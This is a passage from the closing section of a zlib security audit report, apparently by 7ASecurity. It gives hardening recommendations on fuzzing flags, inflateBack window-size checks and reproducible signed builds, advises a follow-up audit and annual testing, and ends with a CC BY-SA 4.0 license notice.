development and fuzzing, as well as exploit-mitigation flags where supported by 
common toolchains (ZLB-01-007). 

●​ inflateBack size checks: inflateBack window sizing should be validated 
explicitly, including checks that the supplied buffer matches the derived window 
size, to prevent unsafe allocations or unexpected behavior when processing 
malformed inputs (ZLB-01-009). 

●​ Build provenance adoption: Release builds should be transitioned to a 
reproducible CI-based pipeline that emits signed provenance, such as SLSA 
attestations. In addition, Windows-focused reproducible builds or trusted binary 
distribution channels should be strengthened to reduce reliance on outdated or 
unverified third-party binaries (WP5). 

 
It is advised to address all issues identified in this report, including informational and 
low-severity findings where feasible. Doing so will strengthen the overall security posture 
of the library and is expected to reduce the number of findings in future assessments. 
 
Once the identified issues have been addressed and verified, a follow-up source code 
security review is recommended. A whitebox audit, building upon the current findings, 
would provide deeper coverage of rarely exercised code paths, legacy functionality, and 
platform-specific behaviors. 
 
Future audits would benefit from a larger testing budget, enabling deeper analysis of 
complex edge cases, advanced fuzzing campaigns, platform-specific behaviors, and 
dependency interactions. Expanding the scope to include additional internet-facing zlib 
resources or downstream integration scenarios could also provide further assurance. 
 
Regular security testing is recommended, ideally on an annual basis or following 
substantial code or release-process changes, to ensure that new functionality does not 
introduce unintended security regressions. This approach has consistently proven 
effective in reducing long-term security risk and improving resilience over time. 
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License and Legal Notice 
 
This report is licensed under the Creative Commons Attribution-ShareAlike 4.0 
International (CC BY-SA 4.0)87 license. 
You are free to: 

●​ Share – copy and redistribute the material in any medium or format 
●​ Adapt – remix, transform, and build upon the material for any purpose, even 

commercially​
 

Under the following terms: 
●​ Attribution – You must give appropriate credit to 7ASecurity, provide a link to the 

license, and indicate if changes were made. You may do so in any reasonable 
manner, but not in any way that suggests 7ASecurity endorses you or your use.​
 

●​ ShareAlike – If you remix, transform, or build upon the material, you must 
distribute your contributions under the same license as the original.​
 

Exceptions and Restrictions: 
●​ Trademarks and Logos: The 7ASecurity name, logo, and visual identity 

elements (such as custom fonts or design marks) are not licensed under CC 
BY-SA 4.0 and may not be used without explicit written permission.​
 

●​ Third-party Content: Any third-party content (e.g., open source project logos, 
screenshots, excerpts) included in this report remains under its respective 
copyright and licensing terms.​
 

●​ No Endorsement: Use of this report does not imply endorsement by 7ASecurity 
of any derivative works, use cases, or conclusions drawn from the material.​
 

Disclaimer: This report is provided for informational purposes only and reflects the state 
of the target project at the time of testing. No warranties are provided. Use at your own 
risk. 

 

87 https://creativecommons.org/licenses/by-sa/4.0/  
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